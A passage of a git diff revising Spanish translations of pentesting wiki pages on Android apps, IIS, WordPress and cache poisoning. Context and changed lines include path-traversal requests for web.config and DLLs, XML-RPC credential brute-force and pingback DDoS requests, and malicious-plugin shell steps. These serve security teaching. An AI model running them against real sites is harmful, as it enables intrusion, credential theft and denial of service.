[https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos @@ -731,7 +731,7 @@ AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate q - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) -## Yet to try +## Aún por probar - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 6a34218cb..2e17181a0 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -11,7 +11,7 @@ ### Separación de UID -**Cada aplicación se asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación. +**Cada aplicación se asigna un ID de Usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de Usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de las aplicaciones. ### Compartición de UID @@ -41,7 +41,7 @@ Un elemento de permiso tiene tres atributos: ## Aplicaciones Preinstaladas -Estas aplicaciones generalmente se encuentran en los directorios **`/system/app`** o **`/system/priv-app`** y algunas de ellas están **optimizadas** (puede que ni siquiera encuentres el archivo `classes.dex`). Estas aplicaciones valen la pena revisarlas porque a veces están **ejecutándose con demasiados permisos** (como root). +Estas aplicaciones generalmente se encuentran en los directorios **`/system/app`** o **`/system/priv-app`** y algunas de ellas están **optimizadas** (puede que ni siquiera encuentres el archivo `classes.dex`). Estas aplicaciones valen la pena revisar porque a veces están **ejecutándose con demasiados permisos** (como root). - Las que se envían con el **AOSP** (Android OpenSource Project) **ROM** - Agregadas por el **fabricante** del dispositivo @@ -161,7 +161,7 @@ context.startService(intent); ``` ### Pending Intents -Estos permiten que otras aplicaciones **realicen acciones en nombre de su aplicación**, utilizando la identidad y permisos de su app. Al construir un Pending Intent, se debe **especificar un intent y la acción a realizar**. Si el **intent declarado no es explícito** (no declara qué intent puede llamarlo), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la app víctima. Además, **si no se especifica una acción**, la app maliciosa podrá realizar **cualquier acción en nombre de la víctima**. +Estos permiten que otras aplicaciones **realicen acciones en nombre de su aplicación**, utilizando la identidad y los permisos de su app. Al construir un Pending Intent, se debe **especificar un intent y la acción a realizar**. Si el **intent declarado no es explícito** (no declara qué intent puede llamarlo), una **aplicación maliciosa podría realizar la acción declarada** en nombre de la app víctima. Además, **si no se especifica una acción**, la app maliciosa podrá realizar **cualquier acción en nombre de la víctima**. ### Broadcast Intents @@ -169,7 +169,7 @@ A diferencia de los intents anteriores, que solo son recibidos por una app, los Alternativamente, también es posible **especificar un permiso al enviar el broadcast**. La app receptora necesitará tener ese permiso. -Hay **dos tipos** de Broadcasts: **Normal** (asíncrono) y **Ordenado** (sincrónico). El **orden** se basa en la **prioridad configurada dentro del elemento receptor**. **Cada app puede procesar, retransmitir o descartar el Broadcast.** +Hay **dos tipos** de Broadcasts: **Normal** (asíncrono) y **Ordered** (sincrónico). El **orden** se basa en la **prioridad configurada dentro del elemento receptor**. **Cada app puede procesar, retransmitir o descartar el Broadcast.** Es posible **enviar** un **broadcast** usando la función `sendBroadcast(intent, receiverPermission)` de la clase `Context`.\ También podría usar la función **`sendBroadcast`** de **`LocalBroadCastManager`** que asegura que el **mensaje nunca salga de la app**. Usando esto, ni siquiera necesitará exportar un componente receptor. @@ -183,7 +183,7 @@ Si encuentra funciones que contengan la palabra "sticky" como **`sendStickyBroad ## Deep links / URL schemes -En las aplicaciones de Android, **deep links** se utilizan para iniciar una acción (Intent) directamente a través de una URL. Esto se hace declarando un **esquema de URL** específico dentro de una actividad. Cuando un dispositivo Android intenta **acceder a una URL con este esquema**, se lanza la actividad especificada dentro de la aplicación. +En las aplicaciones de Android, **deep links** se utilizan para iniciar una acción (Intent) directamente a través de una URL. Esto se hace declarando un **URL scheme** específico dentro de una actividad. Cuando un dispositivo Android intenta **acceder a una URL con este esquema**, se lanza la actividad especificada dentro de la aplicación. El esquema debe ser declarado en el **`AndroidManifest.xml`**: ```xml @@ -216,15 +216,15 @@ Aprende a [llamar enlaces profundos sin usar páginas HTML](#exploiting-schemes- ## AIDL - Lenguaje de Definición de Interfaces de Android -El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre el cliente y el servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos. +El **Lenguaje de Definición de Interfaces de Android (AIDL)** está diseñado para facilitar la comunicación entre cliente y servicio en aplicaciones de Android a través de **comunicación entre procesos** (IPC). Dado que no se permite acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso al marshalling de objetos en un formato entendido por el sistema operativo, facilitando así la comunicación entre diferentes procesos. ### Conceptos Clave - **Servicios Vinculados**: Estos servicios utilizan AIDL para IPC, permitiendo que actividades o componentes se vinculen a un servicio, realicen solicitudes y reciban respuestas. El método `onBind` en la clase del servicio es crítico para iniciar la interacción, marcándolo como un área vital para la revisión de seguridad en busca de vulnerabilidades. -- **Messenger**: Operando como un servicio vinculado, Messenger facilita IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método de cerca en busca de cualquier manejo de datos inseguro o ejecución de funciones sensibles. +- **Messenger**: Operando como un servicio vinculado, Messenger facilita IPC con un enfoque en el procesamiento de datos a través del método `onBind`. Es esencial inspeccionar este método de cerca para detectar cualquier manejo de datos inseguro o ejecución de funciones sensibles. -- **Binder**: Aunque el uso directo de la clase Binder es menos común debido a la abstracción de AIDL, es beneficioso entender que Binder actúa como un controlador a nivel de núcleo que facilita la transferencia de datos entre los espacios de memoria de diferentes procesos. Para una comprensión más profunda, hay un recurso disponible en [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). +- **Binder**: Aunque el uso directo de la clase Binder es menos común debido a la abstracción de AIDL, es beneficioso entender que Binder actúa como un controlador a nivel de kernel que facilita la transferencia de datos entre los espacios de memoria de diferentes procesos. Para una comprensión más profunda, hay un recurso disponible en [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). ## Componentes @@ -235,7 +235,7 @@ Estos incluyen: **Actividades, Servicios, Receptores de Difusión y Proveedores. En las aplicaciones de Android, las **actividades** son como pantallas, mostrando diferentes partes de la interfaz de usuario de la app. Una app puede tener muchas actividades, cada una presentando una pantalla única al usuario. La **actividad de lanzamiento** es la puerta principal a una app, lanzada cuando tocas el ícono de la app. Se define en el archivo de manifiesto de la app con intenciones específicas MAIN y LAUNCHER: -```markup +```html @@ -297,7 +297,7 @@ Para entender la funcionalidad de un receptor, busque el método **`onReceive`** La validación de entrada es primordial para prevenir vulnerabilidades, como la inyección SQL. Los Content Providers soportan operaciones básicas: `insert()`, `update()`, `delete()`, y `query()`, facilitando la manipulación y el intercambio de datos entre aplicaciones. -**FileProvider**, un Content Provider especializado, se centra en compartir archivos de manera segura. Se define en el manifest de la app con atributos específicos para controlar el acceso a carpetas, denotadas por `android:exported` y `android:resource` apuntando a configuraciones de carpetas. Se aconseja precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente. +**FileProvider**, un Content Provider especializado, se centra en compartir archivos de manera segura. Se define en el manifest de la app con atributos específicos para controlar el acceso a carpetas, denotados por `android:exported` y `android:resource` apuntando a configuraciones de carpetas. Se aconseja precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente. Ejemplo de declaración de manifest para FileProvider: ```xml @@ -326,16 +326,16 @@ WebViews son como **mini navegadores web** dentro de aplicaciones Android, extra Android ofrece dos tipos principales de WebView: -- **WebViewClient** es excelente para HTML básico pero no soporta la función de alerta de JavaScript, lo que afecta cómo se pueden probar los ataques XSS. +- **WebViewClient** es excelente para HTML básico pero no soporta la función de alerta de JavaScript, afectando cómo se pueden probar los ataques XSS. - **WebChromeClient** actúa más como la experiencia completa del navegador Chrome. Un punto clave es que los navegadores WebView **no comparten cookies** con el navegador principal del dispositivo. Para cargar contenido, están disponibles métodos como `loadUrl`, `loadData` y `loadDataWithBaseURL`. Es crucial asegurarse de que estas URLs o archivos sean **seguros para usar**. Las configuraciones de seguridad se pueden gestionar a través de la clase `WebSettings`. Por ejemplo, deshabilitar JavaScript con `setJavaScriptEnabled(false)` puede prevenir ataques XSS. -El "Bridge" de JavaScript permite que los objetos de Java interactúen con JavaScript, requiriendo que los métodos estén marcados con `@JavascriptInterface` por razones de seguridad desde Android 4.2 en adelante. +El "Puente" de JavaScript permite que objetos de Java interactúen con JavaScript, requiriendo que los métodos estén marcados con `@JavascriptInterface` por razones de seguridad desde Android 4.2 en adelante. -Permitir el acceso al contenido (`setAllowContentAccess(true)`) permite que los WebViews accedan a Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido se verifiquen como seguras. +Permitir el acceso al contenido (`setAllowContentAccess(true)`) permite que WebViews accedan a Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido se verifiquen como seguras. Para controlar el acceso a archivos: @@ -345,7 +345,7 @@ Para controlar el acceso a archivos: ### **Firma Digital de Aplicaciones** -- La **firma digital** es obligatoria para las aplicaciones Android, asegurando que sean **auténticamente creadas** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al momento de la instalación. Las aplicaciones pueden ser **autofirmadas o certificadas por una CA externa**, protegiendo contra accesos no autorizados y asegurando que la aplicación permanezca sin alteraciones durante su entrega al dispositivo. +- **La firma digital** es obligatoria para las aplicaciones Android, asegurando que sean **auténticamente creadas** antes de la instalación. Este proceso utiliza un certificado para la identificación de la aplicación y debe ser verificado por el administrador de paquetes del dispositivo al momento de la instalación. Las aplicaciones pueden ser **autofirmadas o certificadas por una CA externa**, protegiendo contra accesos no autorizados y asegurando que la aplicación permanezca sin alteraciones durante su entrega al dispositivo. ### **Verificación de Aplicaciones para Mayor Seguridad** @@ -353,7 +353,7 @@ Para controlar el acceso a archivos: ### **Gestión de Dispositivos Móviles (MDM)** -- Las **soluciones MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Necesitan la instalación de una aplicación Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **imponer políticas de contraseñas**, **exigir cifrado de almacenamiento** y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles. +- **Las soluciones MDM** proporcionan **supervisión y seguridad** para dispositivos móviles a través de la **API de Administración de Dispositivos**. Necesitan la instalación de una aplicación Android para gestionar y asegurar dispositivos móviles de manera efectiva. Las funciones clave incluyen **imponer políticas de contraseñas**, **exigir cifrado de almacenamiento** y **permitir el borrado remoto de datos**, asegurando un control y seguridad completos sobre los dispositivos móviles. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 5683191c7..966f157a6 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -103,7 +103,7 @@ is debuggable ### Actividades El valor “android:exported” de un componente de actividad exportado está configurado como **“true”** en el archivo AndroidManifest.xml: -```markup +```html ``` @@ -135,7 +135,7 @@ Esta publicación era demasiado grande para estar aquí, así que **puedes** [** ### Servicios Un servicio exportado se declara dentro del Manifest.xml: -```markup +```html ``` Dentro del código **check** para la función **`handleMessage`** que **recibirá** el **mensaje**: @@ -228,7 +228,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ``` ### Es depurable -Un APK de producción nunca debería ser depurable.\ +Un APK de producción nunca debe ser depurable.\ Esto significa que puedes **adjuntar un depurador de java** a la aplicación en ejecución, inspeccionarla en tiempo de ejecución, establecer puntos de interrupción, avanzar paso a paso, recopilar valores de variables e incluso cambiarlos. [InfoSec institute tiene un excelente artículo](../exploiting-a-debuggeable-applciation.md) sobre cómo profundizar cuando tu aplicación es depurable e inyectar código en tiempo de ejecución. Cuando una aplicación es depurable, aparecerá en el Manifest: diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index a901e3011..94efacc95 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo # Automático -La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automáticamente** realizará los cambios necesarios en la aplicación para comenzar a capturar las solicitudes y también deshabilitará la fijación de certificados (si la hay). +La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automáticamente** realizará los cambios necesarios en la aplicación para comenzar a capturar las solicitudes y también desactivará la fijación de certificados (si la hay). # Manual @@ -25,7 +25,7 @@ Después de agregar: ![](../../images/img11.png) Ahora entra en la carpeta **res/xml** y crea/modifica un archivo llamado network_security_config.xml con el siguiente contenido: -```markup +```html diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 1fb9c2186..23b5626d7 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -33,7 +33,7 @@ Puedes subir archivos .config y usarlos para ejecutar código. Una forma de hace Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) -## Descubrimiento de IIS Bruteforce +## Fuerza bruta de descubrimiento de IIS Descarga la lista que he creado: @@ -52,7 +52,7 @@ Fue creada fusionando los contenidos de las siguientes listas: Úsala sin añadir ninguna extensión, los archivos que la necesitan ya la tienen. -## Traversal de Ruta +## Traversal de ruta ### Filtrando código fuente @@ -65,10 +65,10 @@ Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-p En **aplicaciones .Net MVC**, el archivo **web.config** juega un papel crucial al especificar cada archivo binario del que depende la aplicación a través de etiquetas XML **"assemblyIdentity"**. -### **Explorando Archivos Binarios** +### **Explorando archivos binarios** Un ejemplo de acceso al archivo **web.config** se muestra a continuación: -```markup +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` @@ -88,15 +88,15 @@ Los archivos encontrados en el directorio raíz, como **/global.asax** y **/conn ### **Namespaces y Web.Config** -Las aplicaciones MVC también definen archivos **web.config** adicionales para namespaces específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**: -```markup +Las aplicaciones MVC también definen archivos **web.config** adicionales para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**: +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **Descargando DLLs** La mención de un espacio de nombres personalizado sugiere la presencia de una DLL llamada "**WebApplication1**" en el directorio /bin. A continuación, se muestra una solicitud para descargar la **WebApplication1.dll**: -```markup +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` @@ -199,7 +199,7 @@ Para acceder a la página web, podrías echar un vistazo al **Certificado SSL** Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) usando esta **técnica**.\ La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos. -Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../images/image (844).png>) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 9117c17ac..69b32ee83 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -25,12 +25,12 @@ - `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan con HTTP actuando como el mecanismo de transporte y XML como el mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress. - La carpeta `wp-content` es el directorio principal donde se almacenan los plugins y temas. - `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma. -- `wp-includes/` este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets. -- `wp-sitemap.xml` en las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente. +- `wp-includes/` Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets. +- `wp-sitemap.xml` En las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente. **Post explotación** -- El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas. +- El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas. ### Permisos de Usuarios @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins y Temas -Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **forzar activamente una lista de Plugins y Temas** (esperemos que para nosotros haya herramientas automatizadas que contengan estas listas). +Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **forzar activamente una lista de Plugins y Temas** (esperemos que haya herramientas automatizadas que contengan estas listas). ### Usuarios @@ -103,16 +103,16 @@ Nota que este endpoint solo expone usuarios que han hecho una publicación. **So También ten en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP. -- **Enumeración de nombres de usuario de inicio de sesión**: Al iniciar sesión en **`/wp-login.php`**, el **mensaje** es **diferente** si el **nombre de usuario existe o no**. +- **Enumeración de nombres de usuario de inicio de sesión**: Al iniciar sesión en **`/wp-login.php`**, el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**. ### XML-RPC -Si `xml-rpc.php` está activo, puedes realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso[ usando esto](https://github.com/relarizky/wpxploit) por ejemplo). +Si `xml-rpc.php` está activo, puedes realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques de DoS a otros recursos. (Puedes automatizar este proceso[ usando esto](https://github.com/relarizky/wpxploit) por ejemplo). Para ver si está activo, intenta acceder a _**/xmlrpc.php**_ y envía esta solicitud: -**Check** -```markup +**Verificar** +```html system.listMethods @@ -120,10 +120,10 @@ Para ver si está activo, intenta acceder a _**/xmlrpc.php**_ y envía esta soli ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Fuerza Bruta de Credenciales** +**Fuerza bruta de credenciales** **`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden utilizar para realizar fuerza bruta de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como: -```markup +```html wp.getUsersBlogs @@ -138,8 +138,8 @@ El mensaje _"Nombre de usuario o contraseña incorrectos"_ dentro de una respues ![](<../../images/image (721).png>) -Usando las credenciales correctas, puedes subir un archivo. En la respuesta, la ruta aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +Usando las credenciales correctas, puedes subir un archivo. En la respuesta, el camino aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +```html wp.uploadFile @@ -168,7 +168,7 @@ Usando las credenciales correctas, puedes subir un archivo. En la respuesta, la ``` -También hay una **manera más rápida** de forzar credenciales usando **`system.multicall`** ya que puedes intentar varias credenciales en la misma solicitud: +También hay una **manera más rápida** de forzar credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
@@ -180,7 +180,7 @@ Este método está destinado a programas y no a humanos, y es antiguo, por lo ta Si puedes encontrar el método _**pingback.ping**_ dentro de la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.\ Esto se puede usar para pedir a **miles** de **sitios** de Wordpress que **accedan** a una **ubicación** (por lo que se causa un **DDoS** en esa ubicación) o puedes usarlo para hacer que **Wordpress** lo **escanee** en alguna **red** interna (puedes indicar cualquier puerto). -```markup +```html pingback.ping @@ -196,7 +196,7 @@ Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que e Mira el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS. **DDoS** -```markup +```html pingback.ping @@ -295,29 +295,29 @@ Accede a ella y verás la URL para ejecutar la shell inversa: ### Subiendo y activando un plugin malicioso -Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de control de WordPress de la siguiente manera: +Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de WordPress de la siguiente manera: 1. **Adquisición del Plugin**: El plugin se obtiene de una fuente como Exploit DB como [**aquí**](https://www.exploit-db.com/exploits/36374). 2. **Instalación del Plugin**: -- Navega al panel de control de WordPress, luego ve a `Panel > Plugins > Subir Plugin`. +- Navega al panel de WordPress, luego ve a `Panel > Plugins > Subir Plugin`. - Sube el archivo zip del plugin descargado. -3. **Activación del Plugin**: Una vez que el plugin se haya instalado correctamente, debe ser activado a través del panel de control. +3. **Activación del Plugin**: Una vez que el plugin se instala correctamente, debe ser activado a través del panel. 4. **Explotación**: - Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable. - El marco Metasploit proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio. - Se señala que este es solo uno de los muchos métodos para explotar un sitio de WordPress. -El contenido incluye ayudas visuales que representan los pasos en el panel de control de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito. +El contenido incluye ayudas visuales que representan los pasos en el panel de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito. **Para pasos más detallados consulta:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## De XSS a RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una **vulnerabilidad de Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más información consulta [**esta publicación**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para las versiones de Wordpress 6.X.X, 5.X.X y 4.X.X y permite:** - _**Escalación de Privilegios:**_ Crea un usuario en WordPress. - _**(RCE) Subida de Plugin Personalizado (puerta trasera):**_ Sube tu plugin personalizado (puerta trasera) a WordPress. -- _**(RCE) Edición de Plugin Incorporado:**_ Edita Plugins Incorporados en WordPress. -- _**(RCE) Edición de Tema Incorporado:**_ Edita Temas Incorporados en WordPress. +- _**(RCE) Edición de Plugin Incorporado:**_ Edita un Plugin Incorporado en WordPress. +- _**(RCE) Edición de Tema Incorporado:**_ Edita un Tema Incorporado en WordPress. - _**(Personalizado) Explotaciones Personalizadas:**_ Explotaciones Personalizadas para Plugins/Temas de Terceros de WordPress. ## Post Explotación @@ -334,7 +334,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Superficie de Ataque -Conocer cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes encontrar cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**este blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Conocer cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en su funcionalidad. Puedes encontrar cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**este blog**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** @@ -368,7 +368,7 @@ El `permission_callback` es una función de retorno que verifica si un usuario d - **Acceso directo al archivo php** -Por supuesto, WordPress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Por lo tanto, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario. +Por supuesto, WordPress utiliza PHP y los archivos dentro de los plugins son accesibles directamente desde la web. Por lo tanto, en caso de que un plugin esté exponiendo alguna funcionalidad vulnerable que se active simplemente accediendo al archivo, será explotable por cualquier usuario. ## Protección de WordPress diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 63e713a99..ce3761aa8 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -1,27 +1,27 @@ -# Cache Poisoning y Cache Deception +# Envenenamiento de Caché y Decepción de Caché {{#include ../../banners/hacktricks-training.md}} ## La diferencia -> **¿Cuál es la diferencia entre el web cache poisoning y el web cache deception?** +> **¿Cuál es la diferencia entre el envenenamiento de caché web y la decepción de caché web?** > -> - En **web cache poisoning**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación. -> - En **web cache deception**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché. +> - En **el envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación. +> - En **la decepción de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché. -## Cache Poisoning +## Envenenamiento de Caché -El cache poisoning tiene como objetivo manipular la caché del lado del cliente para obligar a los clientes a cargar recursos que son inesperados, parciales o controlados por un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché. +El envenenamiento de caché tiene como objetivo manipular la caché del lado del cliente para obligar a los clientes a cargar recursos que son inesperados, parciales o controlados por un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché. -La ejecución de un ataque de cache poisoning implica varios pasos: +La ejecución de un ataque de envenenamiento de caché implica varios pasos: 1. **Identificación de Entradas No Claveadas**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché. 2. **Explotación de las Entradas No Claveadas**: Después de identificar las entradas no claveadas, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante. -3. **Asegurar que 